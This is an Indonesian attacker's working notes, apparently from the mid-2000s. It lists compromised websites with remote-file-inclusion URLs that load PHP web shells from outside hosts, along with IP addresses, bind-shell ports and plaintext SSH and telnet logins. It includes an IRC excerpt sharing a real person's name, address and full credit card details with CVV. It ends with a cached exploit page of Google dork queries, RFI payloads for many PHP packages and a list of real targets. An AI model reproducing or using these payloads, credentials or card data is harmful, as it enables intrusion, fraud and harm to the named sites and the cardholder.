korban hari ini
<home_edition2001> !bius !eval @gstring='allinurl:/oneadmin/';
<home_edition2001> !bius @rfiscan 1000 include.php?path[docroot]=
64.14.74.77 7000 << bind
http://www.dystg.com/oneadmin/photogallery/include.php?path[docroot]=http://www.stkgaming.com/iB_html/cmd.do?
http://www.dystg.com/_notes/db1.php
http://www.dystg.com/documents/_notes/view.php

67.99.206.94 7000 << bind
http://www.3dstereo.com/auction/db1.php
http://www.3dstereo.com/oneadmin/helpdesk/include.php?path[docroot]=http://www.stkgaming.com/iB_html/cmd.do?http://www.myspace.si/images/cmd.gif?&action=upload&chdir=/home/sites/site227/html/auction/
http://www.3dstereo.com/auction/uploaded/view.php


root
http://enewsbar.com/media_kit2/db1.php
http://www.enewsbar.com/oneadmin/faqsupport/include.php?path[docroot]=http://www.stkgaming.com/iB_html/cmd.do?http://www.myspace.si/images/cmd.gif?&action=upload&chdir=/htdocs/users/enewsbar/public_html/enewsbar.com/media_kit2/
ssh 67.15.122.27 7000 << root bius
http://enewsbar.net//blog/plog-0.3.2/class/template/smarty/plugins/db1.php
http://enewsbar.net//blog/smarty/libs/plugins/db1.php
http://enewsblog.com/templates_c/db1.php
http://enewsblog.com/templates_c/c99.php
http://enewsblog.com/rte/images/db1.php
ssh 67.15.122.27 22 << bius rakitan

scaning + root
http://lovelink.co.il/upload/bius.php
http://search.co.il/oneadmin//ecommerce/view.php
http://search.co.il//menu/java/images/db.php
81.223.254.40 ssh 22  bius rakitan


root
http://www.loopercabinet.com/tmp/punk.php

bisa di bind lumayan buat nc
telnet 212.227.132.116 7000 << passwd P4ssword123
http://www.mukke-page.com/newsfeeds/view.php
http://www.mukke-page.com/components/com_guestbook.php?absolute_path=http://www.stkgaming.com/iB_html/cmd.do?

http://www.sistersinjesus.org/resources/recipes/classes/Import_MM.class.php?g_rb_basedir=http://www.stkgaming.com/iB_html/cmd.do?
ssh 66.98.216.71 22 user bius pasnya rakitan
ssh 66.98.216.71 7000 root bius

scan 
http://www.o2planet.com/shop/classes/phpmailer/class.cs_phpmailer.php?classes_dir=http://hotsexbg.com/cmd.do?
http://www.o2planet.com/shop/images/db1.php
http://www.o2planet.com/shop/db1.php 
http://www.o2planet.com/v/mail/forms/view.php
http://www.o2planet.com/v/mail/forms/view.php?act=sql&sql_login=cscart&sql_passwd=t7EqZbH5&sql_server=localhost&sql_port=3306&sql_db=cscart&sql_db=cscart&sql_tbl=cscart_orders
69.20.13.243 telnet 7000 

root lagi awwawa bosen ih
69.94.134.96 ssh 22 bius rakitan
http://www.nchp.gov.kh/khmer_calendar/myevent.php?myevent_path=http://3-bi.us/xpl/r57.txt?

<Mat-dhule>  Billing Address Shipping Address 
<Mat-dhule> Shelly Fritz
<Mat-dhule> 4214 Ave G
<Mat-dhule> Kearney
<Mat-dhule> NE
<home_edition2001> tapi domain gw bisa di dapetin lagi kan
<Mat-dhule> 68847
<Mat-dhule> United States
<Mat-dhule>  Shelly Fritz
<Mat-dhule> 4214 Ave G
<Mat-dhule> Kearney
<Mat-dhule> NE
<home_edition2001> coba deh buka mac gw
<Mat-dhule> 68847
<Mat-dhule> United States
<Mat-dhule>  
<Mat-dhule>  
<Mat-dhule> domain yg mana
<Mat-dhule> ?
<Mat-dhule> palid neh
<Mat-dhule> Payment Type Credit Card Number (if applicable) Exp. Date 
<Mat-dhule> Visa 4420230003023204 09 / 2007 
<Mat-dhule>       
<Mat-dhule>    
<Mat-dhule>   Approval / Trx ID Name on Card CVV/CVC/CID IP Address 
<Mat-dhule> 585066 / 51942587 Shelly Fritz 107 68.113.184.225 
<Mat-dhule>    
<Mat-dhule>       
<Mat-dhule> tuh
<Mat-dhule> pake

Berikut ini adalah isi tembolok G o o g l e untuk http://freewebs.com/th3sn0wbr4in/Bug.htm yang direkam pada 22 Apr 2006 18:46:01 GMT.
Tembolok G o o g l e adalah salinan dari laman web yang kami ambil ketika menelusuri web.
Laman ini mungkin telah berubah sejak saat itu. Klik di sini untuk laman yang sekarang tanpa stabilo.
Laman tembolok ini bisa saja acuan gambarnya sudah tak tersedia lagi. Klik di sini untuk melihat tembolok versi teks.
Untuk menautkan atau menandai situs ini, gunakan URL berikut: http://www.google.com/search?q=cache:oUIzJHCLusgJ:freewebs.com/th3sn0wbr4in/Bug.htm+th3sn0wbr4in+bug&hl=id&gl=id&ct=clnk&cd=4

Google tak ada kaitannya dengan pemilik/pembuat laman ini, dan juga tak bertanggung jawab atas kandungan materi yang terdapat di dalamnya.
Kata kunci yang dipakai untuk penelusuran sudah distabilo 	th3sn0wbr4in 	bug 


]--------------------------------------------------------------------------------[
Bug VWAR


Googling Keywords
---=  inurl:"/VWar/"
---=  allinurl:"/VWar/admin/index.php"
---=  intext:"Virtual War - Member Login"

Bug
/vwar/includes/functions_install.php?vwar_root=http://attacker-site/inject-file?
]--------------------------------------------------------------------------------[

]--------------------------------------------------------------------------------[
Bug PHPLiveHelper


Googling Keywords
---=  allinurl:"/PHPLiveHelper/"
---=  inurl:"/PHPLiveHelper/"
---=  "Powered by PHPLiveHelper"

Bug
/PHPLiveHelper/initiate.php?abs_path=http://attacker-site/inject-file?
/PHPLiveHelper/waiting.php?abs_path=http://attacker-site/inject-file?
/PHPLiveHelper/welcome.php?abs_path=http://attacker-site/inject-file?
/PHPLiveHelper/admin/index.php?abs_path=http://attacker-site/inject-file?
/PHPLiveHelper/javascript.php?abs_path=http://attacker-site/inject-file?
/PHPLiveHelper/chat.php?abs_path=http://attacker-site/inject-file?
/PHPLiveHelper/checkchat.php?abs_path=http://attacker-site/inject-file?
/PHPLiveHelper/blank.php?abs_path=http://attacker-site/inject-file?

]--------------------------------------------------------------------------------[

]--------------------------------------------------------------------------------[
Bug Mambo 4.5


Googling Keywords
---=  inurl:"/includes/Cache/Lite/"
---=  "Powered by Mambo 4.5"

Bug
Script yang tidak tervalidasi pada mosConfig_absolute_path pada file function.php yang dapat 
di-inject.
/includes/Cache/Lite/Function.php?mosConfig_absolute_path=http://attacker-site/inject-file?

]--------------------------------------------------------------------------------[

]--------------------------------------------------------------------------------[
Bug CuteNews


Googling Keywords
---=  allinurl:"/cutenews/shownews.php"
---=  "Powered by CuteNews v 0.88"

Bug
Menimpa pada shownews.php variabel cutepath ini sebagai eksekusi.
/cutenews/shownews.php?cutepath=http://attacker-site/inject-file?


]--------------------------------------------------------------------------------[

]--------------------------------------------------------------------------------[
Bug mail_autocheckPHP


Googling Keywords
---=  allinurl:"/mail_autocheck.php?pm_path=="

Bug
/mail_autocheck.php?pm_path=http://attacker-site/inject-file?


]--------------------------------------------------------------------------------[

]--------------------------------------------------------------------------------[
Bug AllMyGuest


Googling Keywords
---=  allinurl:"/modules.php?name=AllMyGuestt"

Bug
/modules/AllMyGuests/signin.php?_AMGconfig[cfg_serverpath]=http://attacker-site/inject-file?

]--------------------------------------------------------------------------------[

]--------------------------------------------------------------------------------[
Bug PHPGedView


Googling Keywords
---=  inurl:"/PHPGedView/"
---=  allinurl:"/PhpGedView/login.php"
---=  allinurl:"/PhpGedView/index.php"

Bug
/PHPGedView/help_text_vars.php?PGV_BASE_DIRECTORY=http://attacker-site/inject-file?

]--------------------------------------------------------------------------------[

]--------------------------------------------------------------------------------[
Bug PHP xgallery


Googling Keywords
---=  allinurl:"/modules/xgallery/"

Bug
/modules/xgallery/upgrade_album.php?GALLERY_BASEDIR=http://attacker-site/inject-file?

]--------------------------------------------------------------------------------[

]--------------------------------------------------------------------------------[
Bug PopperPHP


Googling Keywords
---=  inurl:"/Popper/"
---=  allinurl:"/Popper/index.php"

Bug
/Popper/childwindow.inc.php?form=http://attacker-site/inject-file?

]--------------------------------------------------------------------------------[

]--------------------------------------------------------------------------------[
PollVote PHPInjection


Googling Keywords
---=  allinurl:"/pollvote/"

Bug
/pollvote/pollvote.php?pollname=http://attacker-site/inject-file?

]--------------------------------------------------------------------------------[

]--------------------------------------------------------------------------------[
Bug PHPPagina


Googling Keywords
---=  allinurl:"/main.php?pagina="

Bug
/main.php?pagina=http://attacker-site/inject-file?

]--------------------------------------------------------------------------------[

]--------------------------------------------------------------------------------[
Googling Keywords
---=  allinurl:"/shoutbox/expanded.php?conf==*.*"
---=  allinurl:"/shoutbox/"

Bug
/shoutbox/expanded.php?conf=http://attacker-site/inject-file?

]--------------------------------------------------------------------------------[

]--------------------------------------------------------------------------------[
Bug FolderPHP


Googling Keywords
---=  allinurl:"/folder.php?id="

Bug
/classes.php?LOCAL_PATH=http://attacker-site/inject-file?

]--------------------------------------------------------------------------------[

]--------------------------------------------------------------------------------[
Bug DefaultPHP


Googling Keywords
---=  allinurl:"/default.php?page=home"
---=  allinurl:"/default.php?*.php="

Bug
/default.php?page=http://attacker-site/inject-file?

]--------------------------------------------------------------------------------[

]--------------------------------------------------------------------------------[
Bug include_once


Googling Keywords
---=  allinurl:"/includes/include_once.php"


Bug
/includes/include_once.php?include_file=http://attacker-site/inject-file?

]--------------------------------------------------------------------------------[

]--------------------------------------------------------------------------------[


th3sn0wbr4in PHP Shell
---=  http://th3sn0wbr4in.sphosting.com/tusuuk.htm?
---=  http://freewebs.com/th3sn0wbr4in/tusukk.htm?


TARGET
http://www.safehorizonsinvestors.com/phplivehelper/initiate.php?abs_path=http://freewebs.com/th3sn0wbr4in/sql.htm? [nobody]
http://www.craftedsolutions.com/phplivehelper/initiate.php?abs_path=http://freewebs.com/th3sn0wbr4in/sql.htm? [nobody]
http://www.maldivesrds.com/phplivehelper/mail.php?ipadd=219.83.4.68&PHPSESSID=accdc7e62171c549536495c2b40a5dd3&department=1&livename= [48]
http://www.macareno.net/phplivehelper/chat.php?action=showmain&dep=&PHPSESSID=bd82bf30534834569f7ba94a7366dd1e&PHPSESSID=bd82bf30534834569f7ba94a7366dd1e [nobody]
http://www.livehelper.christo.net/phplivehelper/mail.php?ipadd=219.83.4.68&PHPSESSID=7fbe494f013eaef3d00f9e9a02e64874 [30]
http://haunted-heart.net/nicky/cutenews/shownews.php?cutepath=http://freewebs.com/th3sn0wbr4in/sql.htm
http://haunted-heart.net/nicky/cutenews/shownews.php?subaction=showcomments&id=1138201877
http://www.erichmuehle.de/artikel/shownews.php?cutepath=http://freewebs.com/th3sn0wbr4in/sql.htm
http://www.aeon-clan.org/html/vwar/includes/functions_install.php?vwar_root=http://freewebs.com/th3sn0wbr4in/tusuk.htm?

th3sn0wbr4in